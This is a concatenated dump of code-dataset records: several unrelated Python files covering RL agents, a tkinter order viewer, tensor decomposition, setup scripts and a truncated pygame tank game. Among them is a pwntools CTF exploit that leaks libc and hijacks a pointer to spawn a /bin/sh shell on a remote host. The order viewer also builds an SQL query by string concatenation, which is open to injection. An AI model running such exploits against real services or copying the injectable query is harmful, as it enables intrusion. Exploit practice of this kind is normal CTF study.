agent.mode in ['learning']:\n self.learning_agents += [agent]\n elif agent.mode in ['playing']:\n self.playing_agents += [agent]\n else:\n raise Exception('invalid agent.mode: {}'.format(\n agent.mode\n ))\n\n self.last_time_store = time.time()\n self.last_time_reload_agents = time.time()\n\n # print('# INFO: [{}][>>>> Instantiate End]'.format(\n # self.get_log_tag(),\n # ))\n\n def reset(self, obs):\n '''\n reset\n '''\n\n # print('# INFO: [{}][reset]'.format(\n # self.get_log_tag(),\n # ))\n\n for agent in self.all_agents:\n agent.reset(obs[:, agent.id])\n\n def before_rollout(self):\n '''\n call this before rollout will:\n 1, schedule trainer for all learning agents\n '''\n\n # print('# INFO: [{}][before_rollout]'.format(\n # self.get_log_tag(),\n # ))\n\n for agent in self.learning_agents:\n agent.schedule_trainer()\n\n def experience_not_enough(self):\n '''\n check if experiences of learning agent is enough or not\n '''\n\n # TODO: This could be improved\n # if len(self.learning_agents) != 1:\n # input('# ERROR: currently only support one learning_agent')\n\n return self.learning_agents[0].experience_not_enough()\n\n def act(self, obs):\n '''\n act\n '''\n\n # print('# INFO: [{}][act]'.format(\n # self.get_log_tag(),\n # ))\n\n action = []\n for agent in self.all_agents:\n action += [agent.act(\n obs=obs[:, agent.id],\n deterministic={\n 'learning': self.args.learning_agents_deterministic,\n 'playing': self.args.playing_agents_deterministic,\n }[agent.mode],\n update_normalize_obs={\n 'learning': True,\n 'playing': False,\n }[agent.mode],\n ).unsqueeze(1)]\n\n return torch.cat(action, 1)\n\n def observe(self, obs, reward, done, infos):\n '''\n observe\n '''\n\n # print('# INFO: [{}][observe]'.format(\n # self.get_log_tag(),\n # ))\n\n for agent in self.all_agents:\n agent.observe(\n obs[:, agent.id], reward[:, agent.id], done[:, agent.id], infos,\n )\n\n def store(self):\n '''\n store will:\n 1, store all learning agents\n '''\n\n print('# INFO: [{}][store start >>>>]'.format(\n self.get_log_tag(),\n ))\n\n '''store learning_agents'''\n for agent in self.learning_agents:\n agent.store()\n\n print('# INFO: [{}][>>>> store end]'.format(\n self.get_log_tag(),\n ))\n\n def restore(self):\n '''\n restore will:\n 1, (if self.args.population_number > 1) re-generated population id for each of all agents_cluster\n 2, restore a recent checkpoint according to the re-generated population id for each of all agents\n '''\n\n print('# INFO: [{}][restore start >>>>]'.format(\n self.get_log_tag(),\n ))\n\n '''restore playing agents'''\n for agent in self.playing_agents:\n if self.args.population_number > 1:\n agent.randomlize_population_id()\n agent.restore(principle='recent')\n\n '''restore learning agents'''\n except_population_ids = []\n for agent in self.learning_agents:\n if self.args.population_number > 1:\n agent.randomlize_population_id(\n except_population_ids=except_population_ids,\n )\n except_population_ids += [agent.population_id]\n agent.restore(principle='recent')\n\n print('# INFO: [{}][>>>> restore end]'.format(\n self.get_log_tag(),\n ))\n\n def reload_playing_agents(self):\n '''\n reload playing agent will:\n 1, (if self.args.population_number is more than 1) re-generated population id for each playing agent\n 2, restore a new checkpoint for each playing agent, according to\n 1, (if self.args.population_number is more than 1) the re-generated population id\n 2, self.args.reload_playing_agents_principle\n '''\n\n # print('# INFO: [{}][reload_playing_agents]'.format(\n # self.get_log_tag(),\n # ))\n\n '''(if self.args.population_number is more than 1) re-generated population id for each playing agent'''\n for agent in self.playing_agents:\n if self.args.population_number > 1:\n agent.randomlize_population_id()\n agent.restore(principle=self.args.reload_playing_agents_principle)\n\n def reload_learning_agents(self):\n '''\n reload learning agent will:\n (if self.args.population_number is more than 1)\n 1, store each learning agent\n 2, re-generated population id for each learning agent, there will not be the case\n when the same population_id being selected for multiple times\n 3, restore a recent checkpoint according to the re-generated population id for each learning agent\n (else)\n 1, nothing\n '''\n\n # print('# INFO: [{}][reload_learning_agents]'.format(\n # self.get_log_tag(),\n # ))\n\n except_population_ids = []\n for agent in self.learning_agents:\n if self.args.population_number > 1:\n agent.store()\n agent.randomlize_population_id(\n except_population_ids=except_population_ids,\n )\n except_population_ids += [agent.population_id]\n agent.restore(principle='recent')\n\n def after_rollout(self):\n '''\n called after each rollout:\n 1, call agent.after_rollout() for each agent\n 2, (every reload_agents_interval) reload agents\n 3, (every store_interval) store\n '''\n\n # print('# INFO: [{}][after_rollout]'.format(\n # self.get_log_tag(),\n # ))\n\n '''call agent.after_rollout() for each agent'''\n for agent in self.all_agents:\n agent.after_rollout()\n\n '''reload agents'''\n if ((time.time() - self.last_time_reload_agents) > self.args.reload_agents_interval):\n self.last_time_reload_agents = time.time()\n self.reload_playing_agents()\n self.reload_learning_agents()\n\n '''store'''\n if ((time.time() - self.last_time_store) > self.args.store_interval):\n self.last_time_store = time.time()\n self.store()\n\n def get_log_tag(self):\n '''\n get the log tag of this class\n '''\n\n return 'MultiAgentCluster'\n","sub_path":"assets/agents_cluster.py","file_name":"agents_cluster.py","file_ext":"py","file_size_in_byte":7757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"288164270","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom Services.DBconn import DatabaseCon\nimport cx_Oracle\n\nclass PandEord(Frame):\n \n def __init__(self,mw,usern):\n self.curid=-1\n self.usenam = usern\n db = DatabaseCon()\n self.con = db.getConnection()\n mw.geometry(\"850x600\")\n mw.resizable(0,0)\n mw.title(\"Pending and Recently Expired Orders\")\n super().__init__(mw)\n self.rot = mw\n \n self.dumlab = Label(self,text='',height=1)\n self.dumlab.pack()\n self.lab1 = Label(self,text='Pending & Expired Orders',font=('Helvetica',16))\n self.lab1.pack()\n self.bf = Frame()\n self.bf.place(relx=0.8,rely=0.04)\n self.bacb = Button(self.bf,text='BACK',command = self.gobac,bg='#f27979')\n self.bacb.pack()\n self.dumlab2 = Label(self,text='',height=1)\n self.dumlab2.pack()\n self.canvas = Canvas(self)\n self.tf = Frame(self.canvas)\n myscrollbar=Scrollbar(self,orient=\"vertical\",command=self.canvas.yview)\n self.canvas.configure(yscrollcommand=myscrollbar.set)\n myscrollbar.pack(side='right',fill='y')\n self.canvas.pack(side='left')\n self.canvas.create_window((0,0),window=self.tf,anchor='nw')\n self.tf.bind(\"<Configure>\",self.myfunction)\n \n res = self.fetchPendingExpiredOrders()\n\n print(res)\n b = Entry(self.tf,width=18,justify='center')\n \n b.insert(END,'Stock Symbol')\n b.config(state=DISABLED)\n\n b.grid(row=0,column=0)\n b = Entry(self.tf,width=18,justify='center')\n b.insert(END,'Broker ID')\n b.config(state=DISABLED)\n b.grid(row=0,column=1)\n b = Entry(self.tf,width=18,justify='center')\n b.insert(END,'Order Type')\n b.config(state=DISABLED)\n b.grid(row=0,column=2)\n b = Entry(self.tf,width=18,justify='center')\n b.insert(END,'Number of shares')\n b.config(state=DISABLED)\n b.grid(row=0,column=3)\n b = Entry(self.tf,width=18,justify='center')\n b.insert(END,'Brokerage percent')\n b.config(state=DISABLED)\n b.grid(row=0,column=4)\n b = Entry(self.tf,width=18,justify='center')\n b.insert(END,'Status')\n b.config(state=DISABLED)\n b.grid(row=0,column=5)\n b = Entry(self.tf,width=18,justify='center')\n b.insert(END,'Order Creation Date')\n b.config(state=DISABLED)\n b.grid(row=0,column=6)\n \n\n indices = [2,3,4,5,7,9,10]\n \n for i in range(len(res)):\n for j in range(7):\n b = Label(self.tf)\n b.grid(row=2*i+1,column=j)\n for j in range(7):\n b = Entry(self.tf,width=18,justify='center')\n if j==2:\n b.insert(END,'BUY' if res[i][indices[j]]=='B' else 'SELL')\n elif j==5:\n b.insert(END,'Pending' if res[i][indices[j]]=='P' else 'EXPIRED')\n else:\n b.insert(END,res[i][indices[j]])\n b.config(state=DISABLED)\n b.grid(row=2*i+2,column=j)\n \n print(self.usenam)\n self.updateExpiredOrders()\n self.pack()\n \n def fetchPendingExpiredOrders(self):\n selq = \"select * from orders where tr_un='\" + self.usenam + \"' and status in ('P','E') order by ocreat desc\"\n cur = self.con.cursor(selq)\n cur.execute(selq)\n res = cur.fetchall()\n return res\n\n def updateExpiredOrders(self):\n cur2 = self.con.cursor()\n updq = \"Update orders set status = :1 where status = :2 and tr_un = :3\"\n print(updq)\n cur2.execute(updq,('ER','E',self.usenam))\n self.con.commit() \n \n def myfunction(self,event):\n self.canvas.configure(scrollregion=self.canvas.bbox(\"all\"),width=800,height=400)\n \n def gobac(self):\n self.rot.switch_frame('OrderM',self.usenam)\n self.tf.destroy()\n self.bf.destroy()\n self.destroy()\n","sub_path":"code/pendexp.py","file_name":"pendexp.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"5688436","text":"import matplotlib.image as mpimg\nfrom skimage.transform import rescale, resize, downscale_local_mean\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\nimport torch\n\n\n\nclass pairImg(object):\n def __init__(self, imgPath1,imgPath2,matchFile,batchSize,trainRatio):\n self.imgPath1 = imgPath1\n self.imgPath2 = imgPath2\n self.matchFile = matchFile\n self.batchSize = batchSize\n self.pairedData = [] # a python array\n self.trainRatio = trainRatio\n self.train =None\n self.test = None\n self.loadData()\n\n def loadData(self):\n with open(self.matchFile) as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n next(spamreader)\n\n img1A = np.zeros((1024,1024))\n img2A = np.zeros((1024,1024))\n count = 0\n for row in spamreader:\n count += 1\n img1 = None\n img2 = None\n #preprocess path\n path1 = row[0].replace('.png','')\n path2 = row[1]\n img2 = mpimg.imread(self.imgPath2+'/'+path2)\n img1 = mpimg.imread(self.imgPath1+'/'+path1+'/image.png')\n img1A = img1A + img1\n img2A = img2A + img2\n\n img2avg = img2A/count\n img1avg = img1A/count\n plt.imshow(img2avg)\n plt.savefig('img2avg.png')\n plt.clf()\n plt.imshow(img1avg)\n plt.savefig('img1avg.png')\n\n\nif __name__ == \"__main__\":\n loadImg = pairImg('./images','masks','./train.csv',5,0.8)\n print('done')","sub_path":"pairImg/avgImg.py","file_name":"avgImg.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"357971887","text":"#coding:utf-8\n\nfrom pwn import *\nimport argparse\n\n# env = os.environ\n# env['LD_PRELOAD'] = './libc64.so'\n\nIP = '49.4.23.26'\nPORT = '31667'\nbinary = './main'\n\nio = None\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-d', '--debugger', action='store_true')\nparser.add_argument('-r', '--remote', action='store_true')\nparser.add_argument('-l', '--local', action='store_true')\nargs = parser.parse_args()\n\nsl = lambda x : io.sendline(x)\nsd = lambda x : io.send(x)\nsla = lambda x,y : io.sendlineafter(x,y)\nrud = lambda x : io.recvuntil(x,drop=True)\nru = lambda x : io.recvuntil(x)\n\ndef lg(s, addr):\n print('\\033[1;31;40m%30s-->0x%x\\033[0m' % (s, addr))\n\nif args.remote:\n io = remote(IP, PORT) \n libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\n elf = ELF(binary)\nelif args.local or args.debugger:\n # env = {\"LD_PRELOAD\": os.path.join(os.getcwd(), \"libc.so.6\")}\n env = {}\n io = process(binary, env=env)\n elf = ELF(binary)\n proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]\n libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']\n libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\nelse:\n parser.print_help()\n exit()\n\ndef debug(msg=\"\"):\n pwnlib.gdb.attach(io,msg)\n raw_input()\n\ndef get(leng,name):\n ru(\"Choice >>\")\n sl(\"1\")\n ru(\"my owner's name:\")\n sl(str(leng))\n ru(\"ive me my owner's name:\")\n sl(name)\n\ndef change(idx,leng,con):\n ru(\">>\")\n sl(\"3\")\n ru(\"name\")\n sl(str(idx))\n ru(\"name\")\n sl(str(leng))\n ru(\"name\")\n sl(con)\n\ndef open(idx):\n ru(\">>\")\n sl(\"2\")\n ru(\"open?\\n\")\n sl(str(idx))\n\ndef handle_open():\n addr = ru(\"\\x7f\").split('\\n')[1]\n addr = addr.ljust(8,'\\x00')\n addr = u64(addr)\n lg(\"leak_addr\",addr)\n return addr\n\ndef exploit():\n get(10,'/bin/sh\\x00')\n get(10,'/bin/sh\\x00') \n\n pp = p64(0xdeadbeef) * 2 + p64(0) + p64(0x21) + p8(0x58)\n # debug()\n\n change(0,len(pp)+1,pp) # leak addr\n\n open(\"1\")\n leak = handle_open()\n\n libc_base = leak - libc.symbols['puts']\n lg('libc_base',libc_base)\n\n system = libc_base + libc.symbols['system']\n lg(\"system\",system)\n binsh = libc_base + next(libc.search(\"/bin/sh\"))\n lg(\"binsh\",binsh)\n\n pp = p64(0xdeadbeef) * 2 + p64(0) + p64(0x21) + p64(binsh) + p64(system)\n change(0,100,pp)\n\n open(1)\n # debug(\"\"\"\n # x/10xg 0x{:x}\n # \"\"\".format(proc_base + 0x202040))\n\n io.interactive()\n\nif __name__ == \"__main__\":\n exploit()\n","sub_path":"pwn_exec/qwb/ap/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"310887754","text":"# coding: utf-8\n\n\"\"\"\n See README.md for details\n\"\"\"\n\n\nimport sys\nfrom setuptools import setup, find_packages\n\nNAME = \"nifi-python-swagger-client\"\nVERSION = \"1.5.0\"\n\nwith open('test-requirements.txt') as test_reqs_file:\n test_requirements = test_reqs_file.read()\n\nwith open('requirements.txt') as reqs_file:\n requirements = reqs_file.read()\n\nsetup(\n name=NAME,\n version=VERSION,\n description=\"Swagger 2.0 client in python for Apache NiFi Rest API\",\n author=\"Daniel Chaffelson\",\n author_email=\"chaffelson@gmail.com\",\n url=\"https://nifi.apache.org/\",\n download_url='https://github.com/Chaffelson/nifi-python-swagger-client'\n '/archive/' + VERSION + '.tar.gz',\n keywords=[\"Swagger\", \"NiFi Rest Api\", \"Python\"],\n install_requires=requirements,\n packages=find_packages(\n include=['swagger_client',\n 'swagger_client.apis',\n 'swagger_client.models'],\n exclude=['*.tests', '*.tests.*', 'tests.*', 'tests',\n 'swagger_client_tests']\n ),\n include_package_data=True,\n zip_safe=False,\n license=\"Apache Software License 2.0\",\n long_description=\"\"\"\\\n The Rest Api provides programmatic access to command and control a NiFi \n instance in real time. Start and stop processors, monitor queues, query \n provenance data, and more. Each endpoint below includes a description, \n definitions of the expected input and output, potential response codes, \n and the authorizations required to invoke each service.\n \"\"\",\n tests_require=test_requirements,\n setup_requires=test_requirements,\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Natural Language :: English',\n \"Programming Language :: Python :: 2\",\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n ],\n test_suite='test',\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"204824228","text":"#pido datos al usuario\nlargo=float(input('cuantos pues de largo tiene el campo? '))\nancho=float(input('y de ancho? '))\n\n#hago el calculo (1 acre=43560pies)\narea_pies= largo*ancho\narea_acre= area_pies*(1/43560)\n\n#imprimo el resultado\nprint('el area del campo en acre es de: ' + str(area_acre))","sub_path":"Workbook Python/Excercise_4_AreaField.py","file_name":"Excercise_4_AreaField.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"215815085","text":"import logging\nimport time\nimport torch\n\n\n# Modified from tensorly (https://github.com/tensorly/tensorly)\ndef init_factors(X, rank, nonnegative, init='svd'):\n if init == 'random':\n factors = [torch.randn((dim_size, rank)) for dim_size in X.size()]\n if nonnegative:\n factors = [abs(f) for f in factors]\n factors[-1] = -factors[-1]\n return factors\n\n elif init == 'svd':\n # Initialize using left singular vectors\n # Fill with random values if any mode.size() < rank\n factors = []\n for mode in range(X.dim()):\n # Use eigendecomposition method on Gram matrix (XX^T) for SVD\n # mode-unfold of X\n G = unfold(X, mode)\n G = torch.mm(G, G.t())\n eigvals, eigvecs = torch.symeig(G, eigenvectors=True)\n # eigenvectors are reverse sorted (ascending)\n factor = torch.flip(eigvecs[:, -int(min(X.size(mode), rank)):], [1])\n # Fill remaining columns with random vectors\n if rank > X.size(mode):\n factor = torch.cat((factor, torch.randn(X.size(mode), rank - X.size(mode)).to(X.device)), dim=1)\n if nonnegative:\n if mode == X.dim() - 1:\n factor = -abs(factor)\n else:\n factor = abs(factor)\n factors.append(factor)\n return factors\n else:\n raise ValueError('Wrong value for init: {}'.format(init))\n\n\ndef unfold(X, mode):\n U = X.permute([mode] + list(range(mode)) + list(range(mode + 1, X.dim())))\n return U.reshape([X.size(mode), -1])\n\n\n# Modified from tensorly (https://github.com/tensorly/tensorly)\ndef cp_decompose(X, rank, tol=1e-8, max_iter=100, orthogonalize=False, nonnegative=False, verbose=False):\n device = X.device\n factors = init_factors(X, rank, nonnegative, init='svd')\n\n X_norm = X.norm(p=2)\n\n fits = []\n grams = torch.zeros((len(factors), rank, rank)).to(device)\n weights = torch.ones(rank).to(device)\n\n start_time = time.time()\n\n for t in range(max_iter):\n # Create Gram matrices for each factor\n for i, f in enumerate(factors):\n if orthogonalize and t < 5:\n factors[i] = torch.qr(f).Q if min(f.size()) >= rank else f\n grams[i] = torch.mm(f.t(), f)\n for mode in range(X.dim()):\n V = torch.ones((rank, rank)).to(device)\n khatri_rao = torch.ones((1, rank)).to(device)\n for i in range(len(factors) - 1, -1, -1):\n if i != mode:\n V = V * grams[i]\n khatri_rao = torch.reshape(torch.einsum('ir,jr->ijr', (factors[i], khatri_rao)), [-1, rank])\n mttkrp = torch.mm(unfold(X, mode), khatri_rao)\n if nonnegative:\n if mode == X.dim() - 1:\n factor = factors[mode] * (mttkrp.clamp_min_(1e-30) / (factors[mode] @ V).clamp_min_(1e-30))\n else:\n factor = factors[mode] * (mttkrp.clamp_min_(1e-30) / (factors[mode] @ V).clamp_min_(1e-30))\n else:\n factor = torch.solve(mttkrp.t(), V).solution.t()\n factors[mode] = factor\n\n if t == 0:\n weights = torch.norm(factors[mode], dim=0)\n else:\n weights = torch.max(torch.max(torch.abs(factors[mode]), dim=0)[0], torch.ones(rank).to(device))\n\n factors[mode] = factors[mode] / weights\n grams[mode] = torch.mm(factors[mode].t(), factors[mode])\n\n # Calculate reconstruction error using:\n # ||X - rec||^2 = ||X||^2 + ||rec||^2 - 2*<X, rec>\n # ||rec||^2 = ||khatri_rao(A,B)^T * khatri_rao(A,B)^T||^2 = ||A^T A * B^T B ||^2\n # factors_norm = torch.sqrt(torch.sum(torch.prod(grams, dim=0) * torch.einsum('i,j->ij', weights, weights)))\n # # Use last factor for innerprod\n # innerprod = torch.sum(torch.sum(mttkrp * factors[-1], dim=0) * weights)\n # norm_residual = torch.sqrt(X_norm ** 2 + factors_norm ** 2 - 2 * innerprod)\n # fit = 1 - (norm_residual / X_norm)\n fit = 1 - (torch.norm(reconstruct_from_cp(weights, factors) - X, p=2))/ X_norm\n fits.append(fit)\n if verbose:\n pass\n return weights, factors, fits\n\n\ndef reconstruct_from_cp(weights, factors):\n # A * (C khatri_rao B)^T\n rank = factors[0].size(1)\n orig_shape = [factor.size(0) for factor in factors]\n\n khatri_rao = torch.ones((1, rank)).to(factors[0].device)\n for i in range(len(factors) - 1, 0, -1):\n khatri_rao = torch.reshape(torch.einsum('ir,jr->ijr', (factors[i], khatri_rao)), [-1, rank])\n return torch.mm(factors[0] * weights, khatri_rao.t()).view(*orig_shape)","sub_path":"mrtl_multiOutput/cp_als.py","file_name":"cp_als.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"92107955","text":"from ecnet import Server\nfrom ecnet.utils.logging import logger\n\n\ndef main():\n\n logger.stream_level = 'debug'\n sv = Server(num_processes=4)\n sv.load_data('../kv_model_v1.0.csv')\n sv.tune_hyperparameters(20, 20, shuffle='train', split=[0.7, 0.2, 0.1],\n eval_set='test')\n\n\nif __name__ == '__main__':\n\n main()\n","sub_path":"docs/tutorials/Getting Started/scripts/tune_hyperparameters.py","file_name":"tune_hyperparameters.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"256229481","text":"import random\nfrom gensim.models import word2vec as wv\nfrom tensorflow.python.platform import gfile\nimport re\nimport numpy as np\n\n_WORD_SPLIT = re.compile(b\"([.,!?$%\\\"':;)(])\")\n\nif not gfile.Exists(\"Dataset/word2vec_vocab%d.TA\" % 4000):\n print(\" creating Word2Vec vectors for Tamil\")\n with gfile.GFile(\"Dataset/TAMIL_TRAIN\", mode=\"rb\") as f:\n tam = f.read()\n if(tam[-1]!='\\n'):\n tam += \"\\n\"\n string=\"\"\n for _ in xrange(500):\n string += \"_PAD \"*np.random.randint(0, 2)\n string += \"_UNK \"\n string += \"_PAD \"*np.random.randint(0, 2)\n string += \"_UNK \"\n string += \"_PAD \"*np.random.randint(0, 3)\n string += \"_EOS \"\n string += \"_GO\"*np.random.randint(0, 2)\n string += \"\\n\"\n tam += string\n \n sent=[]\n twv=[]\n for e in unicode(tam, \"utf-8\").split(\"\\n\"):\n for p in e.split(\" \"):\n sent.extend(re.split(_WORD_SPLIT, p))\n twv.append(filter(None, sent))\n sent=[]\n \n twv=filter(None,twv)\n \n modeleng = wv.Word2Vec(twv, size=50, window=5, workers=4, batch_words=50, min_count=1)\n modeleng.save(\"Dataset/word2vec_vocab%d.TA\" % 4000)\n \n print(\" Word2Vec model created and saved successfully!\")","sub_path":"Tensorflow with Eng and Tam Word2vec/misc/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"498910760","text":"import os\nimport sys\n\nif sys.version_info < (3, 7):\n sys.exit('This script must be run with at least Python 3.7')\n\nimport contextlib\nimport os\n# import pytest\nimport subprocess\n\nfrom os.path import dirname, join as join, realpath\nfrom pathlib import Path\nfrom shutil import which\nfrom subprocess import check_call, run\n\nfrom typing import Generator, Optional\n\ntry:\n assert False\nexcept AssertionError:\n pass\nelse:\n sys.exit(\"Error: assertions don't seem to be enabled?!\")\n\n################################################################################\n# Utilities\n################################################################################\ndef _find_program(name: str) -> str:\n res = which(name)\n if res is None:\n raise ValueError(f\"unable to find `{name}` -- perhaps it's not in your PATH?\")\n return res\n\n# Cribbed from here: https://stackoverflow.com/a/24176022/201217\n#\n# Also yields the previous directory after changing, so you can use like\n#\n# with chdir(new_dir) as prev_dir:\n# ...\n@contextlib.contextmanager\ndef chdir(d) -> Generator[str, None, None]:\n prev_d = os.getcwd()\n os.chdir(d)\n try:\n yield prev_d\n finally:\n os.chdir(prev_d)\n\n\n################################################################################\n# Globals\n################################################################################\nPC: str = _find_program('polyclang')\nPCPP: str = _find_program('polyclang++')\nTESTS_DIR = realpath(dirname(__file__))\n\nEXPECTED_STDERR_NO_POLYPATH = b\"Unable to get required POLYPATH environment variable -- perhaps it's not set?\\n\"\n\n################################################################################\n# Test cases here!\n################################################################################\ndef test_test1_no_polypath(tmpdir) -> None:\n with chdir(tmpdir):\n check_call([PC, '-Wall', '-O2', join(TESTS_DIR, 'test1.c'), '-o', 'test1'])\n p = run(['./test1'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n assert p.stdout == b\"\"\n assert p.stderr == EXPECTED_STDERR_NO_POLYPATH\n assert p.returncode == 1\n\ndef test_test1(tmpdir) -> None:\n f = join(TESTS_DIR, 'test1.c')\n env = os.environ.copy()\n env['POLYPATH'] = f\n with chdir(tmpdir):\n check_call([PC, '-Wall', '-O2', f, '-o', 'test1'])\n check_call(['./test1'], env=env)\n\ndef test_test2_no_polypath(tmpdir) -> None:\n with chdir(tmpdir):\n check_call([PCPP, '-Wall', '-O2', join(TESTS_DIR, 'test2.cpp'), '-o', 'test2'])\n p = run(['./test2'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n assert p.stdout == b\"\"\n assert p.stderr == EXPECTED_STDERR_NO_POLYPATH\n assert p.returncode == 1\n\ndef test_test2(tmpdir) -> None:\n f = join(TESTS_DIR, 'test1.c')\n env = os.environ.copy()\n env['POLYPATH'] = f\n with chdir(tmpdir):\n check_call([PCPP, '-Wall', '-O2', join(TESTS_DIR, 'test2.cpp'), '-o', 'test2'])\n check_call(['./test2'], env=env)\n\ndef test_build_mupdf(tmpdir) -> None:\n os.makedirs('downloads', exist_ok=True)\n mupdf_dirname = 'mupdf-1.16.1-source'\n mupdf_tarball = join('downloads', f'{mupdf_dirname}.tar.gz')\n check_call(['wget', '-qc', f'https://mupdf.com/downloads/archive/{mupdf_dirname}.tar.gz', '-O', mupdf_tarball])\n run(['sha1sum', '-c'], input=f'ccbef63c3d43d6a866b7978db5674dc4b1719f0f {mupdf_tarball}'.encode(), check=True)\n pc_env = os.environ.copy()\n pc_env['CC'] = PC\n pc_env['CXX'] = PCPP\n with chdir(tmpdir) as prev_dir:\n check_call(['tar', '-xzf', join(prev_dir, mupdf_tarball)])\n check_call(['make', '-C', mupdf_dirname, 'HAVE_GLUT=no', 'HAVE_X11=no', 'build=debug', '-j4'], env=pc_env)\n","sub_path":"polytracker/test/test_polytracker.py","file_name":"test_polytracker.py","file_ext":"py","file_size_in_byte":3742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"90706720","text":"\nlog_path = \"state/log.txt\"\nlines = []\n\n\ndef write(message):\n global lines\n lines += message\n\n\ndef flush():\n global lines, log_path\n file = open(log_path, \"a\")\n for line in lines:\n file.write(line)\n file.close()\n lines = []\n","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"192871744","text":"# Uses python3\n\ndef optimal_points(segments):\n segments.sort(key=lambda x: x[1])\n points = []\n\n far_point = segments[0][1]\n points.append(far_point)\n \n for i in range(1, len(segments)):\n if segments[i][0] <= far_point:\n continue \n far_point = segments[i][1]\n points.append(far_point) \n \n return points\n\nn = int(input())\nsegments = []\n\nfor i in range(n):\n data = input()\n data = data.split()\n\n for j in range(len(data)):\n data[j] = int(data[j])\n\n segments.append(data)\n\npoints = optimal_points(segments)\nprint(len(points))\nfor p in points:\n print(p, end=' ')","sub_path":"Algorithmic Toolbox/week3_greedy_algorithms/4_collecting_signatures/covering_segments.py","file_name":"covering_segments.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"42342339","text":"from pygame_functions import * # Courtesy of Steve Paget\r\nfrom math import sqrt\r\nimport random # Random not used yet\r\nkeydict[\"/\"] = pygame.K_SLASH # This character is not in pygame_functions\r\n\r\n# Author and Composer: Michael Szemborski\r\n\r\n\"\"\"\r\nThis sets up a bkgnd scene with two tanks, labeled p1 p2. They are able to move\r\nforward and backward, rotate left and right and fire. When one fires upon the\r\nother he scores a hit. The first one to reach the winning score wins the game.\r\nIf they collide they both score a point.\r\n\r\nA maze can be displayed which will limit movement. This is the enhancement in this version.\r\nThe maze can be displayed or hidden during gameplay by hitting \"m\"\r\n\"\"\"\r\n\r\n# variable setup\r\nsize = width, height = 1200, 695 # bkgnd size - best size for laptop screen\r\nscreenSize(width, height) # screenSize needed for setBackgroundImage\r\n\r\n# player 1 & player 2\r\np1w = 50\r\np1h = 50\r\np1size = p1w, p1h\r\np1w_half = int(p1w / 2)\r\np1h_half = int(p1h / 2)\r\nhyp1 = sqrt(p1w**2 + p1h**2)\r\np1hyp_half = int(hyp1 / 2)\r\np1hyp_half_half = int(p1hyp_half / 2)\r\n\r\np2w = 50\r\np2h = 50\r\np2size = p2w, p2h\r\np2w_half = int(p2w / 2)\r\np2h_half = int(p2h / 2)\r\nhyp2 = sqrt(p2w**2 + p2h**2)\r\np2hyp_half = int(hyp2 / 2)\r\np2hyp_half_half = int(p2hyp_half / 2)\r\n\r\n# Start position for p1\r\nst_p1_x = 77 # 65 # 199\r\nst_p1_y = 590 #605 # 409\r\n\r\n# Start position for p2\r\nst_p2_x = 1072 # 1084 # 660\r\nst_p2_y = 58 # 65 # 115\r\n\r\nspinSpeed = 100 # Pause time between spin displays\r\npixels2move = 1 # Speed: Recommend 1 - 10\r\nfire2move = 5 # Speed: Number of pixels to move before redisplaying bullet\r\nfireDelay = 500 # How long to display explosion\r\n\r\nhits2win = 10\r\n\r\np1 = makeSprite(\"images/tank_red.png\")\r\np2 = makeSprite(\"images/tank_blue.png\")\r\nburn1 = makeSprite(\"images/burn.png\")\r\nburn2 = makeSprite(\"images/burn.png\")\r\nbullet = makeSprite(\"images/bullet.png\")\r\nmazeSprite = makeSprite(\"images/maze01.png\")\r\nmoveSprite(mazeSprite, 0, 0, False)\r\n\r\npygame.display.set_caption('Tank Battle')\r\nsetBackgroundImage(\"images/misty-lg.jpg\") # size is 789 x 441\r\ngrassImg = \"images/bkgnd_green_3_brt.jpg\"\r\nmazeImg = \"images/maze01.png\"\r\n\r\np1Display = makeLabel(\"Player 1:\",30,10,10,\"white\")\r\n## p2Display = makeLabel(\"Player 2:\",30,(width - 178),10,\"white\") # Works best on original machine \r\np2Display = makeLabel(\"Player 2:\",30,(width - 210),10,\"white\") # Works best on Raspberry Pi\r\nstart0 = makeLabel(\"Tank Battle\",60,480,20,\"black\")\r\nstart1 = makeLabel(\"Player 1 (Red):\",30,10,120,\"black\")\r\nstart1Color = makeLabel(\"Player 1 